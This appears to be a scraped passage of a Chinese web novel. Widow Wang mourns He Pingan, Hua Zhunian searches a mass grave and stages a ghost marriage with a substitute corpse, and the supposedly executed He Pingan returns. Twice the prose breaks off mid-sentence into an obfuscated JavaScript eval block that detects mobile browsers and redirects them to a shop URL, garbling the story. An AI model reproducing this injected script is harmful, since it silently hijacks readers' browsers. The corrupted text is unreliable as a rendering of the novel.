为了一点点资源,把人皮扒了都是常有的事。 只是,花祝年的存在,曾让这里短暂地变得温馨过。 可她一走,所有的事,都乱套了。 这里的人,感觉自己像是被她抛弃了一样。 无不在对她发泄着怒火和怨气。 花祝年可以对着暗娼馆里的人,哐哐地抡刀,不带一分犹豫。 可是,却没办法对着王寡妇骂上一句。 她看得到她的绝望和痛苦,那种委屈又不甘的情绪,一定积压了很久很久。 王寡妇其实是个很有意思的人。 她就连耍横也极为坦诚。 之前还因为差点睡了贺平安,不好意思在花祝年面前出现。 现在贺平安死后,她已经能大方地表露爱意了。 不过,她的性情也很暴烈。 发完脾气,就要自杀。 花祝年眼看着王寡妇的刀,从车梆上架到了脖子处。 她跟她争抢起来,气愤至极道:“你这是要干嘛?骂完我然后自杀?” “是!我就是死,也要溅你一身血。” 王寡妇满目愤恨:“我不怕告诉你,我早就想死了!从贺平安被处死那天,我就想跟着他一块儿死。我之所以活到现在,就是为了等你回来,痛骂你一顿。没有人爱贺平安,我得为他讨个公道!他那么爱你,你也太不做人了。” 贺平安就这样死去,花祝年是没有想到的。 她也确实觉得他很可怜。 不过,斯人已逝,还是要向前看。 生命是很宝贵的东西,花祝年不想看王寡妇这样轻贱。 “不就是个男人吗?死就死了,我再给你找!” 王寡妇听完更生气了:“你给我找?你给我找什么男人?我就要贺平安!” 王寡妇坦诚到,几乎已经忘记,贺平安生前,是花祝年的男人。 就这么歇斯底里地吼叫着,明目张胆地跟她要。 因为,知道她不会生气。她甚至,也不管她生不生气。 “天底下,总有比贺平安还好的男人。我保证,给你找更好的!你把菜刀放下。” 王寡妇根本不听劝,她痛心疾首地哭闹道:“怎么可能呢?不会有人比贺平安更好了!你消耗了他这么多年,我也等了他一辈子。最后还是没等到,你根本就不会理解我的痛苦。” 王寡妇一直以为自己有希望的。 可是,随着贺平安的去世,连最后一点点希望都没有了。 感情这种事,她之蜜糖,她之砒霜。 王寡妇像是贺平安的代言人一样,拼命控诉着花祝年。 “贺平安对你又好又专一,他自己过得那么辛苦,每个月都会给你买肉吃。你就一点儿也感觉不到他的好?” 王寡妇为了给贺平安下酒,给他买过卤煮的拆骨肉。 可贺平安从没给花祝年买过卤肉,他给她买的,一直是很新鲜的肉。 卤肉比新鲜的肉,要便宜很多很多。 在村子里,新鲜的肉,是珍稀品,要去抢的。 清晨宰的,还带着热气,就被贺平安抢买了回来。 一个月买一次,保存得好的话,一次能吃七八天。 最初,这种买肉的事,是花祝年去做的。 可是,花祝年为了省下钱来,给小泥人儿买香烛,总是买不那么新鲜,但是也没有完全坏掉的肉。 口感是差了些,但是吃不死人。 而且,她自己不吃,知道贺平安容易饿,都是让给贺平安吃。 贺平安当时以为是肉价奇贵,一度很感动。几块肉,被两个人推来推去的。 于是,更加拼命地赚钱。 后来才知道,她把钱全省下来,就为了给小泥人儿,买上好的香烛,却给他买折价处理的肉。 其实,贺平安也不是非要吃肉。 是村医说花祝年体弱,需要日常进补,他才给她钱买肉的。 哪知道,她根本不舍得在吃上花钱,也根本不理解他对她的心。 之后,他把她狠睡了一通,买肉的事,就再也不交给她了。 只给她很少的家用,连半根香烛都买不到。 他一看见她拜小泥人儿就烦。 夫妻之间的感情,有时候说不清楚。 但在外人看来,贺平安做得算好的,特别是一直爱慕他的王寡妇。 她没什么钱,也只能买卤过的拆骨肉给他。 若是有人,肯一个月给她买一次新鲜的肉,那她就会觉得非常幸福! 在王寡妇看来,爱一个人,就是会给对方买最新鲜的肉吃。 可是,花祝年从未给贺平安买过。 她的钱全都用来买香烛了。 “你就是不知道珍惜他!他这辈子过得太苦了,到死都没得到你的爱。” 花祝年低头沉默着,她也不知道该怎么跟王寡妇交待,她跟贺平安的事。 可是,她也有认认真真地在做他的妻子。身为妻子该做的事,她一件都没有少做。 别人家,不也是这样过日子么? 做饭,吃饭,打扫屋子,收拾菜园子…… 怎么到了她这里,就是她不珍惜贺平安了? 还要她怎么珍惜呢? 睡也睡了这么多年,她也没有如何欺负过他。 难道,整日待在他身边,对他倾诉爱意,比收拾屋子还要更让他开心吗? 那哪儿是过日子呢? 王寡妇见花祝年默不作声,便愈演愈烈起来:“甚至,就连他死了,你也不怎么当回事儿。还说什么找一个比他更好的!” 花祝年无奈道:“我是说,给你找一个比贺平安更好的。” “我就是在说这个!对我来说,不会有人比他更好了!我又不傻,这十里八乡的,哪个男人有贺平安好?” “每次我需要人帮忙,他哪次没来过?回回都只是出力,也不要任何回报,对我连言语调戏都没有。换了别的男人试试呢?谁不是欺负我是一个寡妇?只有他没有!” “我已经寡了很多年了,还能找到什么男人?贺平安已经是我当下处境下最好的选择了。他既不嫌弃我,为人又义气,还特别能打,你自己觉不出好来,就这样嫌弃了他一辈子。” 花祝年被王寡妇缠得头疼,可是她又拿把菜刀顶着脖子,她只能解释道:“我没有嫌弃他,我只是,不喜欢他。但我也不会再喜欢别人。我也想好好跟他过日子,也不知道怎么就过成了这样。” “你不喜欢他,就是错!大错特错!你为什么不喜欢他?他怎么你了,你这么对他?” 花祝年也是没辙了:“那你想怎么样呢?他已经死了。” “我不知道!我想去陪他,你又不让我去!我还能怎么样?你知不知道,我等了他多少年?别看我走动时,手里总拿着个菜刀,可我真正的底气,是贺平安给的!我知道,但凡我有个什么事,他总是第一个过来。有他在,就没人敢惹我。” 王寡妇只知道,贺平安总是对她格外照顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13566318|132764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 却不知道,贺平安对她所有的好,都是花祝年要求的。 因为她是寡妇,容易被人欺负,有个穷凶极恶的人罩着,总是好的。 所以,哪怕两个人之间,传出一些绯闻,花祝年也从没在意过。 她是那种,自己有一口男人,就绝不会让别的老姐妹儿饿着的人。 不只是贺平安,就连衡羿,在她面前,也从来不是男人,而是可以分享的资源。 说是块儿肉,也毫不为过。 所以,与其说王寡妇爱上了贺平安,不如说她爱的是听花祝年话的贺平安。 他之所以不像别的男人那般,言语调戏她,是因为对她根本没兴趣。 来她家修缮房顶,帮着她收粮食,只是在完成花祝年交待的任务而已。 如果他完成的好,花祝年就会待他更好。 比相敬如宾,还要好那么一点点。 贺平安就只是想要那一点点,夫妻规则之外的好,所以什么都愿意去做。 可如果他得不到,也会变得异常疯狂。 在床上折磨她的同时,他也并非完全不痛的。 王寡妇也是个很执着的人。 她喜欢谁,如果最后得不到,那真是挠心挠肺地难受。 不过,这世间每个人的执着,都是很珍贵的。 不会因为你是神,我是人,而有所差别。 更不会因为你是好人,我是坏人,就分出个高低贵贱。 执着就是执着,是抛开一切,也要狠狠坚持的东西。 那种坚持,可以横扫世间的所有干扰。 惊天地,泣鬼神。 花祝年是理解王寡妇的这种坚持的。 谁的爱不是爱呢? 想得到一个男人有什么错? 她为了哄她,试探地问道:“如果你不嫌弃的话,我把他许给你啊。” 王寡妇放下架在自己脖子上的菜刀:“他都死了,你怎么把他许给我?” “人死了也能成亲啊,我当年就是跟死人成亲的。” 王寡妇又哭起来:“可是,你那好歹有尸体,我这有什么?” 花祝年纳闷儿道:“你没找到贺平安的尸体么?” “没有,兵营里行刑,都不给人看的。村子里的人,只知道他们午时就全被斩杀了。当晚,女人们就被抢了。” 花祝年疑惑道:“那若是,连尸体都没看见,岂不是也有可能没死?” “怎么会没死?人家单纯地就是不想你去收尸,尸体指不定扔哪里去了。若是那些男人没死,女人们被抢的时候,他们怎么不出来呢?再者说,那是京城里下来的命令,谁敢不执行?都怪你!你以后,就跟你的老相好过吧。” 王寡妇哭着又要拿自己的刀抹脖子,花祝年叹着气再次拦了下来。 “我去给你找他的尸体,找到后让你们成亲。这样你也算拥有过他了,好不好啊?” 王寡妇握着菜刀犹豫道:“那、那他能愿意吗?我也没干过,这死后给人配阴婚的事啊。” “嗐,你管他愿不愿意呢!你愿意不就行了?他都死了,就算不愿意,又能把你怎么样呢?你先嫁了他,让自己痛快两天再说。” 花祝年有着充沛的爱人能力。 只是,这种主动又迫切的爱,贺平安从来没有得到过。 如果有一天,她愿意强迫他的话,他会很开心的。 但没想到,她会强行把他许配给别人。 三十年前,花祝年就勇得不行。 跟一堆碎肢成亲,反正不管薛尘愿不愿意,这人她就是嫁了。 也不算辜负自己的情意。 三十年后,她还是一样的勇。 鼓励老姐妹儿大胆追求自己的爱情。 哪怕那个人已经死了。 管别人的眼光做什么?想嫁就嫁了。嫁的也不是男人,而是自己内心的渴望。 况且,别人的眼光,也不能变成大白米饭。 可是,嫁了自己想嫁的人,那她晚上就能多吃两碗饭。 这种极致的自我满足感,是世间少有的。 囡吉因为失血过多,哪怕有衡羿简单地包扎过,也很快陷入了昏迷状态。 他只能先带她去村医那里医治,所以全然不知道,自己的小信徒又在谋划什么大胆的事。 但她身上那种濒死之际的旺盛心力,一直都让人叹为观止。 家里的院子,因为没人侍弄,透着一股荒芜感。 原本新鲜水嫩的菜,如今也全烂在了地里。 衡羿将昏迷的囡吉,放在书房的小床上。 书房的茅草顶,自从那日被雷劈开后,还没人修缮过,就一直坏着。 衡羿也顾不着修,他忙着去接小信徒。 也不知道她跟王寡妇聊完了没有。 73. 别走 花祝年去乱葬岗之前,找了根直溜的木棍,是小孩子喜欢玩的那种。 她听说那里的尸体,都是胡乱堆叠在一起的。 用棍子找起来方便一些。 衡羿从村口空荡荡的马车,又找到附近驻扎的兵营,最后找到了乱葬岗。 他一般不太用法力为自己办私事,不然反噬得会特别厉害。 不然,也不会接连找了几个地方,都找不到她。 如果在天上的话,他只要随手一挥,就能准确地看到她的位置。 衡羿去乱葬岗的时候,越走越生气。 这一路上,他都想不明白,她为什么非要找到贺平安的尸体。 不会真的是,因为爱吧? 能有多爱呢? 比爱薛尘,还要爱吗? 对衡羿来说,小信徒帮自己收尸这件事,是独特而不可思议的。 也是,他的目光,落在她身上的开始。 可现在,她怎么又要帮别的男人去收尸呢? 他对她而言,已经不再独特了吗? 衡羿气呼呼地走到乱葬岗,看她寻找着并不存在的尸体。 乱葬岗的场面,比他当时在刑场时,还要混乱。 这里到处都是腐烂的尸体,横流的血水。 花祝年却像感受不到一样,认真地在里面寻找着。 断掉的头颅,被堆成了一座小山。 她用棍子缓慢地扒拉着。 衡羿不动声色地走到她身后,连花大娘都没喊,就对她责怪道:“身体不好,不在家里歇着,在这儿找个什么劲儿?” 花祝年回过头,将手中的棍子交给他:“来,你帮我找找你贺大叔的头。我去那边儿,找他的半拉身子去。” 衡羿不情不愿地接过棍子,她握的地方还有余温。 他背对着她,对她问道:“你是不是爱他?” 久久没有回应。 等他转过身,发现她正跟一根树枝较劲。 整个人快要骑在了树枝上,晃晃悠悠地不肯下来。 直到咔嚓一声,她跟树枝一齐掉在了地上。 花祝年吃了一嘴的土。 衡羿上前将她搀扶起来,帮她拍打着身上的土:“你这么大人了,发这个废干嘛?” “我撅个树枝,怎么就发废了?” “你撅树枝做什么?” “我找尸体啊。我腰不行,不像早年间了,弯下腰就能站起来,撅根树枝方便一些。” 花祝年说得理直气壮,衡羿听得瘪瘪囔囔。 他不依不饶地问她:“在你心里,薛尘和贺平安是一样的地位吗?” 一个经常打她的坏老头儿,一个禁锢了她一辈子的死变态,一个恨不得将她踩进泥里埋起来的自卑男,哪里值得让她这么找? 她甚至比当初找他的碎肢还要用心。 花祝年顾不着理他,她着急找尸体给王寡妇成亲呢。 刚刚王寡妇已经去镇子上买新娘子用的东西了。 话都说出去了,要是找不到贺平安的尸体,那王寡妇就要伤心了。 衡羿见她不理自己,瞬间变得比之前还要恼火。 有时候,女人的冷漠,真的很伤人! 显得他在一旁跟无理取闹一样。 可他明明是个神,怎么会无理取闹呢? 但凡她明白地告诉他一句,她现在喜欢上贺平安了。 他立即就回天上,再也不下来了。 也不再惦念她。 现在算怎么回事呢? 她用自己的痴愚,把他生拉硬拽了下来。 然后,又这样念着一个,跟她朝夕相处了三十年的男人。 还为他做,当初为自己的做的事。 她到底是怎么想的? 一边把薛尘当成白月光,一边又把贺平安当成朱砂痣。 哪边都不肯舍下,小信徒是不是在欺负老实神? 衡羿在她身后闹道:“你说话啊!我说话,你听不见吗?你耳背啊!” 花祝年是不喜欢对外人,谈论自己的感情的。 可是抵不过他一个劲儿地问。 只能随口应付道:“不一样。” 对她来说,世界上只有两种男人。 薛尘和其他男人。 他是她年少喜欢的人,自然是和旁人不同的。 可惜,这简短的三个字,并没能安抚到衡羿受伤的心。 “既然不一样,你为什么要这么辛苦地找贺平安的尸体?随他去,不行吗?” “不行。我有责任找到他。” 其实,贺平安的尸体,在一堆腐尸里,应该好找的。 她跟他睡了三十年,而且他的气质超群,虽然是山野糙汉,却比一些年轻人,看起来还要挺拔。 即便是砍下头颅,她也该一眼认出来才是。 只是,在这么多无头尸体中,她却找不到那个熟悉的身影。 再加上有对王寡妇交不了差的担心,花祝年不免露出了为难之色。 而这刚好被衡羿捕捉到了。 他一眼就看出来,她是在为贺平安而难过。 “说什么责任。承认吧,你不过就是爱他而已。你超爱,你爱死了!哪有人会出于责任,支撑着病重的身体,在乱葬岗找尸体的啊?你昏迷了一路,怎么突然就有劲儿了?还不是因为爱!” 花祝年正心烦着,被他吵得就更烦了。 “你要是不想帮我找,就回家去陪囡吉。或者,做点儿饭也行,别在这里给我添乱了。” 衡羿气道:“做饭?我来这儿是专门给你做饭的吗?早知道这样,我就不来了!” 花祝年的心蓦地痛了一下。 “你看不起做饭这件事吗?做饭可是个大工程呢?不比建造房子简单。” “我现在跟你说的是这个吗?是我为什么要去做饭,而你在这里找另一个男人的尸体?” 花祝年仍专心地扒拉着:“我找谁的尸体,跟你做饭有什么关系?” “当然有关系了!你要是再这么找下去,那就别吃我做的饭。” “不吃就不吃,反正我也吃不下。你做你跟囡吉的好啦。她被砍了一刀,流了不少的血,你去镇子上给她买点肉补补。要新鲜的肉,炖出来的汤才好喝。” 衡羿把棍子一扔:“我都没说去做,你怎么就指挥上我去买肉了?” “随便你去哪里吧。反正,别耽误我做事就好。” 花祝年用力地挑起了一具高大威猛的无头男尸,端详过后,发觉不是。 贺平安胸膛上有颗血痣,这个人的身上没有。 衡羿气冲冲地离开,结果没走几步,被一颗头颅绊了一下。 整个人猝不及防地摔倒在尸体上。 倒是没摔疼,可她一点也不关心他,好像完全把他当成了一个工具人。 衡羿从尸体上爬起来后,越想越觉得委屈。 她真是有把人逼疯的本事,怪不得贺平安发疯,他也想发疯。 想狠咬她几口,看看她到底知不知道疼。 他气得一屁股坐在尸体上,开始抱着自己嗷嗷哭。 当初,就不该下来。 她对他而言,本来是一点都不重要的。 凡人就是这样。 根本不能指望他们长情。 今天喜欢这个,明天就会抛之脑后。 她一点都不知道珍惜他! 又是把他随便配给别的女人,又是让他帮着找别的男人的尸体,又是让他回家做饭别妨碍她…… 他这次是真的要闹了。 衡羿嗷嗷哭,天上的雨一直下。 花祝年也不来哄他,仿佛听不见他在哭一样。 她越是这样,他就越是哭。 快把自己给哭死了。 这真是,一点儿都不像一个神能做出来的事。 不光不像神,就连他这个年纪的半大小伙子,都做不出来。 无缘无故地坐地上哭半天,等一个小老太来哄他。 关键是,她都不知道,他为什么哭。 也不在乎。 花祝年无暇顾及对方情绪的宣泄,她只想尽快找到贺平安。 雨越下越大,没有半点儿要停的意思。 衡羿就是要把她淋得透透的,谁让她不知道哄他? 明明她只要稍微哄他几句,他就回家给她做饭去了。 可她居然装听不见,半个眼神都不给他。 真是冷漠得可以。 有时候,他觉得贺平安是不是,就是他现在这个心情? 看她虔诚地拜小泥人儿,完全视周围于无物。 任凭他作出花儿来,也不会让她的心产生丝毫波动。 不在乎就是不在乎,天王老子来了,她也是干自己的事。 气死了气死了气死了! 衡羿现在就差撒泼打滚引起她的注意了。 但估计也不太可能。 她把他当成一个无需理睬的疯子。 根本不知道,他的内心,有多生气。 三十年前,她对他做的事,怎么能为贺平安做呢? 还做得这样专注,这样认真。 喧嚣嘈杂的雨声间,只听得见她翻找尸体的声音。 他气得冷笑一声:“你不必再找了,因为,是找不到的!” 雨伞掉落,王寡妇小跑着冲到他面前,揪起他的脖领子,震怒道:“找不到?为什么找不到?” 雨水冲落了她脸上的新娘妆容。 王寡妇刚刚去镇子上,买了些胭脂水粉,还让人给她花了个新娘妆。 她要再嫁一次,嫁给自己喜欢的人。 不管他生,不管他死,也不管他愿不愿意。 花祝年没有想到王寡妇会来,她上前跳起来抽了衡羿两巴掌。 “说什么呢?怎么会找不到?你天天就想着偷懒。” 说着,将他从王寡妇手里解脱出来后,拉扯到一旁,一个劲儿地揍他。 王寡妇在原地,哭得特别伤心。 好不容易有人给了她希望,怎么这么快就破灭了呢? 这是她第一次来乱葬岗,她连去兵营问的勇气都没有。 原来是扔来这里了。 百姓杀了人,好歹会埋后山,让人入土为安。 这群流兵杀了人,就直接往这个地方一扔。 这里面,甚至还有他们自己人。 看着都是半大点儿的孩子,就这么被扔过来了。 都是娘生爹养的,怎么就没人在乎呢? 花祝年把衡羿暴揍了一顿,警告他不要再乱说话。 衡羿虽然一头雾水,但也只能闭嘴。 花祝年去到王寡妇面前,没有直接地哄她,而是轻抚着她的眉说道:“眉毛画得很漂亮,像新月。” 王寡妇还是哭:“漂亮有什么用?这后生说,找不到他的尸体。” “哎呦,他是懒得帮我找,你还不知道他们这些读书人啊,一个个只拿得动笔,其他的什么都干不了。让他们提桶水都得大喘气。欠抽!” 王寡妇的哭声渐止:“那还能找到吗?” “当然能了。” “那我跟你们一起找。” “别,这个……婚前,男女不好见面的,你乖乖回家等着。等我找到了,给你们办酒席。” 王寡妇抹了把泪:“我这次找你,是想给你看看,我这个妆行不行。可,可是,现在都哭花了。” 花祝年拿出块帕子来帮她擦了擦脸:“胭脂可以再浓一点,这样才像新娘子。” “我的脸上有皱纹,涂胭脂太多,会不好看。” “你这辈子,就结这么两次婚,多涂点儿胭脂怎么了?你就大胆地去试妆吧。” 其实,衡羿也觉得,成亲那天,女子多涂些胭脂会好看。 嫁衣本就是红色的,脸上红扑扑地才撑得住。 “王婶儿,你就听花大娘的吧。我帮着你找贺大叔的尸体。刚刚怪我说错了话,你别放在心上。” 王寡妇开开心心地撑着伞回去了。 哪怕,现在已经不下雨了。 太阳从云层中探出头,衡羿委屈无比的少男心事,也烟消云散。 他笑吟吟地问她:“花大娘,你找贺大叔的尸体,是为了让他跟王大婶儿成亲啊?” 花祝年不想理他,自顾自地找着尸体。 衡羿又跟了过去:“你怎么不早点告诉我呢?我还以为,以为你……” “为什么要跟你交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581747|132764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 待?你也太把自己当回事儿了。” 衡羿磕磕绊绊地说道:“那,那我,总要知道,你找贺大叔的尸体,是做什么?” 花祝年把棍子往地上一插:“不做什么。就算不是为了王寡妇,我也还是会找到他。” “为什么?” 求求她,告诉他吧。 虽然听到后,可能会生气,但是他真的很需要一个理由。 一个王寡妇之外的理由。 他要知道,她到底是喜欢贺平安,还是喜欢他。 “我没抛弃过人。总不能,欺负他死了,就抛弃他。” “可是,你还把他许给王寡妇。那不算抛弃吗?” “不算。我这是,给他找了个新归宿。” “哦。” 问了半天,也没问出什么东西。 他还是觉得她爱。 不然,就算抛弃了,又怎么样呢?她没有义务要对他负责。 谁说嫁了人,就一定要跟对方过一辈子? 他的小信徒,当然可以改嫁。 不过,现在也好,她把贺平安给许了出去。 哈哈哈哈哈。 衡羿翻找着尸体,越翻越起劲。 哪怕根本找不到那些人的尸体,他也还是会尽力地做做样子。 等翻到最后,花祝年终于死心了。 还真是找不到。 衡羿开心地说道:“花大娘,我们回家去吧。刚好我去镇子上买点食材,累了一天,晚上给你炖汤喝。” 花祝年发愁道:“你去镇子上的话,给我买点男人用的脂粉吧。” “啊?买那个做什么?我又用不着。” 花祝年扬起巴掌来要抽他:“让你买,你就买,哪儿那么多废话!” 三天后,花祝年的院子里,张灯结彩的。 王寡妇和贺平安在这里拜堂成亲。 一个站在地上,笑得坦然幸福,一个躺在棺材里,平静而安详。 衡羿小声地对花祝年说道:“花大娘,这应该,不会被发现吧。” “发现什么?没见已经拜堂了么?等拜完堂,把人烧了一埋,谁知道他是谁?我说他是贺平安,他就是贺平安。” 衡羿一边点头,一边感叹小信徒的化妆技术。 他们并没有在那堆尸体里,找到真正的贺平安。 棺材里的尸体,是花祝年找得身形相近的。 就连脑袋,也不是这具尸体上的。 她让他买男人用的水粉,就是为了给“贺平安”化妆。 虽然骗了王寡妇有些大胆,但这也是没办法的事。 至少能让王寡妇了却一桩心愿。 反正,贺平安也不会回来,也不知道。 瞎过吧。 乱世这么苦,人总要学着哄自己开心。 流水席从中午一直吃到了晚上。 王寡妇跟花祝年一起招呼着村子里的乡亲。 有喝了酒的老流氓,拉着花祝年的手道:“老花,你给你丈夫办婚礼,是不是就为了收份子钱啊?你没钱埋他吧!喜事儿给的比丧事儿多,还得是你,算盘打得真精啊。” 王寡妇上去就是一巴掌,菜刀直接架到对方的脖子上:“拿开你的脏手,我老姐妹儿,在京城是有老相好的。她今天办这场喜事儿,纯粹是为了圆我的心愿!” 老流氓把手收了回来,不过仍旧用龌龊至极的眼光,来回地在她身上扫视着。 像是,要把她衣服扒了一样。 王寡妇拿着菜刀,把桌子上的肉鸡给剁了个稀巴烂:“吃你的鸡肉吧!大喜的日子,别在这儿添堵。” 这边喜事儿办得高涨的时候,兵营那边也热火朝天地打着仗。 马逐龙的起义队伍,已经打了过来。 刚好兵营里的一些人,也有反叛之心,就这样里应外合地占据了据点。 不过,老百姓是不在乎这个的。 乱世打了三十年的仗,谁他妈在乎谁被打死啊? 反正,谁被打死,也不耽误活着的人压迫百姓。 照样在花祝年家里,该吃吃该喝喝。 大家吃饱喝足后,迟迟不散场。 特别是一群老光棍儿在那儿起哄,非要让花祝年表演个节目,大家才肯散去。 远处有疾而沉的马蹄声传来,光是听声音,就能听得出骑马者的愤怒。 贺平安骑着抢来的战马,从自家的小篱笆上一跃而过,就这么怒气冲冲地出现在院落里。 脸上都是杀人时溅上去的血,手里的大砍刀也一股子血腥气。 真真是杀红了眼睛。 院子里的人吓得一哄而散,边跑边鬼哭狼嚎:“见鬼啦!见鬼啦!” 贺平安生前就是个恶霸,死后想必也变成了恶鬼吧。 囡吉早些时候,去了村医那里换药,到现在还没回来,衡羿被花祝年派出去找鲁绒绒了。 她听人说附近村子里,开了一家不正经的营生,专门从大街上抢流落在外的女子。 想让他找找,看她有没有在那里。 宾客连滚带爬地离开后,院子里只剩了王寡妇和花祝年两个人。 呃,当然,还有骑着高头大马,一身将军装扮的贺平安。 王寡妇看了看棺材里躺着的人,又看了看眼前的“鬼”,她哆哆嗦嗦地说道:“啊,那个,我就先走了啊。” 花祝年慌得抱住王寡妇的腰不撒手:“别别别——别走,你男人,你丈夫,来找你了。” 王寡妇吓得看都不敢看贺平安一眼,死命地捶打着花祝年的胳膊,试图让她放开自己:“不不不,你男人,你丈夫!你们好好过哈,我就不掺和了。” 花祝年恼道:“你看看你这个人,不是都成亲了么?这就是你男人!” “我嫁尸体行,嫁个鬼,那也没嫁过啊。再说了,这这这,我也不知道怎么跟鬼处啊?” 王寡妇强行锤开花祝年的手,捂着眼睛尖叫着跑出了花家的院子。 花祝年看着贺平安这张阴鸷的脸,小步地往后退缩着。 结果一个没注意,一屁股坐进棺材里,两条腿耷拉在外面。 她扒着棺材板,看着眼前的“鬼”,弱怂但好心地问他:“啊,啊这……你是有什么心事还没了吗?” 74. 花祝年不能让所有男人都高兴^^…… 如果他有什么心愿未了,她是会去帮他办的。 只要,他别变成厉鬼,缠着她就好。 花祝年坐在棺材里,颈后凉嗖嗖的风一吹,身体不自觉地发抖。 贺平安知道自己被她当成了鬼,气得随手把刀往地上一插。 那把带着血腥气的大砍刀,就那样立在了掺杂着酒香的泥土中。 刚刚乡亲们匆忙逃跑的时候,不知道是谁把酒瓶打翻了。 高粱酒流得满地都是。 贺平安把身上的盔甲扔在了地上。 花祝年看到他心口上,露出了被截断的银枪头。 从后背直插入前心。 她确定,他是真的死了。 怎么做个鬼也这么难啊? 阴间也打仗么?连贺平安这样的恶鬼都被人欺负,那等她下去了可怎么办呦。 花祝年不禁为自己死后的日子担忧。 一想到死后也不得自由,还是要跟贺平安生活在一起,她又不怎么想死了。 贺平安脱掉盔甲后,从马背上跳了下来。 他走到她面前,单手将她从棺材里拎了出来。 “同样是鬼,如果是他出现在你面前,你就特别开心。看见是我,你就觉得恶心,是吗?你这也不一视同仁啊!” 花祝年不能让所有男人都高兴,但是她能让所有男人都不高兴。 无论是宋礼遇还是衡羿,亦或是现在不人不鬼的贺平安,都各自在吃着对方的醋。 谁跟谁都能吃上两口。 花祝年看着贺平安的心口突突地冒血,不免产生一丝怜悯。 都这样了,还来找她。 “你要是还有什么心愿未了,你就说吧。我就是拼了这把老骨头,也帮你完成!” “完成后做什么?” 花祝年认真道:“我送你去投胎啊。” 贺平安气得冷笑一声:“你送我投胎干嘛?你得让我跟薛尘一样封神啊!” 她老实巴交地解释道:“我,我没那么大精力了。若是还年轻,送一个也是送,送两个也是送,我送你们一堆人封神都行。但是,我现在身体不太好,可能自己都撑不了几天了,送你封神,恐怕攒不够功德。” 花祝年是在很认真地跟他解释,可在贺平安看来,这不过是借口。 她只是,不爱他,所以,才会想着打发他去投胎。 贺平安的怒火已经到达了顶峰:“如果是薛尘出现在你面前,你巴不得他陪着你,不管以什么样的形式。偏偏我做了鬼,你就不要我了,是吗?” 他别说,他还真别说。 花祝年的确认真地思索了一下,好像还真是这样。 这些年,将军虽然从未现过身,但始终是以魂灵的形式陪着她。 她有时候抱着小泥人儿,会觉得怀里很温暖。 可是贺平安做了鬼,出现在她眼前,她只觉得周身寒冷。 贺平安看见她这副样子,更觉得恼了,他强扳着她的肩质问道:“你犹豫什么?我就问你,这种事,你到底在犹豫什么?是不是让我说准了你,你不敢承认?” 花祝年小小地心虚了一下。 她好像,确实是这样。薛尘即便是变成鬼,也不会让她感到害怕。 哪怕他的死相那样凄惨。 可是,贺平安就让她莫名地觉得害怕。哪怕,他们同床共枕了三十年。 可能是出于对他的愧疚,花祝年小声地说道:“对不起啊。我现在是有点儿怕你。” 有时候,太过坦诚,也是一种残忍。 她哪怕是骗骗他,今天这事儿,可能也就这么过去了。 贺平安被花祝年气哭了。 他九死一生地起义,身上被捅了好几个血窟窿,都没掉过一滴泪。 结果被她一句大实话,给逼哭了。 “你盼着我死,盼着我做鬼,这样你就跟你的老相好在一起了。” 花祝年摇了摇头:“这真是误会大了。我离开前,是故意放那种消息的,等我回来,你们已经被斩杀了。我都没机会解释。我现在跟你解释了,你跟那一起被斩的老哥儿几个,也解释解释啊。让他们别怨我,我并不知道,宋礼遇骗了我,也不知道他那么狠。” 贺平安红着眼睛哽咽道:“你知道什么?你一个女人,哪里懂男人?谁不是恨不得对方死!哪会听你的救人?谁让你去找他的!” “我总不能,看着你死。” 贺平安嘶吼道:“我宁愿死!我宁愿死,也不想你去见他!你跟我过了一辈子,一辈子就只能是我的,谁让你改嫁了?” 花祝年倒也没怎么在乎过改嫁这种事。 “那我不是,为了救人吗?” 他忽地将她推倒在地上:“你到底是为了救人,还是为了做权臣夫人,你自己心里清楚!” 花祝年被推得不轻,心里一个劲儿地骂街。 “你到底有什么事,你要是看不惯我改嫁,我不是也给你许了门亲事吗?” 她不提这个吧,贺平安还勉强压制得住怒火,她一提这个,他吼得都变声了。 “谁让你给我娶亲了?啊?谁让你这么做了?你早就不想要我了吧!” 花祝年温吞道:“那倒也不是。我是看王寡妇挺痴情的。” “她痴情,我就要娶她,我对你痴情了一辈子,你拿正眼儿看过我吗?你到底有没有把我当回事儿啊?” 其实,贺平安虽然有委屈的理由,但他倒也不必如此委屈。 毕竟,她喜欢的少年将军薛尘,已经回归神位的衡羿仙君,专门为了她下了趟凡间,也是没逃过被她许配的命运。 他甚至还被不同的女子强上了三次…… 这都没地儿说理去。 告官他舍不得,往天上告吧,他就是最大的神。 三界无不在看他的笑话。 比起他的遭遇,贺平安这真的不算什么。 不过是死后许给别人了,而已。 花祝年哄他道:“我当了。我可把你当回事儿了!贺平安,平心而论,我对你算不错的。我有在好好做你的妻子,你别总是跟我闹脾气了。” 贺平安现在快要憋屈死了。 他从血海里杀出来,只不过是对她吼了几句,真正的惩罚还没开始。 怎么就是闹脾气了? 他被她气得牙根痒痒。 想把她嚼吧嚼吧吃掉算了,也好磨磨自己的牙! 真是气死了! 大半辈子没受过这个气! 花祝年是很会察言观色的。 她看见贺平安一副磨牙的样子,小心翼翼地劝他道:“贺平安,你现在都做鬼了,阴阳两隔,你就消停消停吧。我们这辈子的缘分,已经尽了。” 贺平安气得连连发笑。 他现在不笑,都喘不上来气! 被她气得胸口疼。 真是在战场上被人戳了一银枪,都没怎么感受到疼。 